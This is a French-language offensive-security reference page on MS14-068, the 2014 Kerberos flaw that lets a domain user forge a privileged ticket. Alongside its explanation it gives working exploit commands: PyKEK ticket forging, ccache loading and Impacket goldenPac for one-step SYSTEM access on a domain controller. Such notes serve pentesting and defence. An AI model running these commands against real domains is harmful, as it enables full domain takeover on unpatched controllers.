MS14-068 est la faille Kerberos classique « n'importe quel utilisateur vers Domain Admin ». Le PAC (Privilege Attribute Certificate) contenu dans un ticket Kerberos porte les appartenances de groupe de l'utilisateur, et il est signé afin que le KDC puisse lui faire confiance. La faille était qu'un contrôleur de domaine non corrigé validait mal cette signature, acceptant un PAC signé avec le mauvais algorithme (voire sans clé). Ainsi, tout utilisateur authentifié pouvait prendre son propre ticket, réécrire le PAC pour revendiquer l'appartenance à Domain Admins, y attacher une signature factice mais acceptée, et le DC l'honorait.
Pourquoi c'était important historiquement#
Lorsqu'elle est apparue en 2014, cette faille était plus dangereuse qu'un golden ticket : un golden ticket nécessite la clé krbtgt, tandis que MS14-068 ne nécessite qu'un seul compte de domaine valide et son SID. C'est l'archétype d'une faille de validation du KDC, et c'est la raison pour laquelle existent la validation du PAC puis le durcissement ultérieur du PAC (les signatures auxquelles les tickets forgés et le relais Kerberos doivent désormais faire face). Elle est corrigée sur tout DC actuel, mais réapparaît sur des contrôleurs de domaine hérités, non corrigés ou de longue durée de vie, elle reste donc sur la checklist.
L'attaque#
# PyKEK: forge a TGT with a PAC claiming privileged membership (needs the user's SID)
python ms14-068.py -u user@example.local -s <user-SID> -d <dc-ip> -p <password>
# -> produces a .ccache TGT; load it and use it
export KRB5CCNAME=TGT_user@example.local.ccache
# then psexec/secretsdump with -k -no-pass
# Impacket goldenPac: automate the forge and open a privileged session via PsExec
goldenPac.py example.local/user:password@<dc-fqdn>
Notes d'exploitation#
- Les seules entrées sont un identifiant valide et le SID du compte, tous deux triviaux à obtenir, ce qui a fait de cette faille une prise de contrôle du domaine en un seul coup.
- Le ticket forgé est un TGT d'apparence normale, de sorte qu'une fois chargé il est utilisé comme tout autre matériel de pass-the-ticket contre SMB, LDAP ou le DC.
goldenPacenchaîne directement la forge vers l'exécution de code sur le DC, de sorte qu'une seule commande fait passer d'un utilisateur du domaine à SYSTEM sur un contrôleur de domaine.- Face à un DC corrigé, le KDC rejette le PAC forgé, confirmez donc d'abord le niveau de correctif du DC ; sa valeur aujourd'hui tient aux DC hérités et non maintenus.
Outils#
- PyKEK (
ms14-068.py) : forger le TGT avec un PAC conçu à partir d'un mot de passe ou d'un hash. - Impacket
goldenPac.py: automatiser l'exploit et ouvrir une session PsExec sur le DC.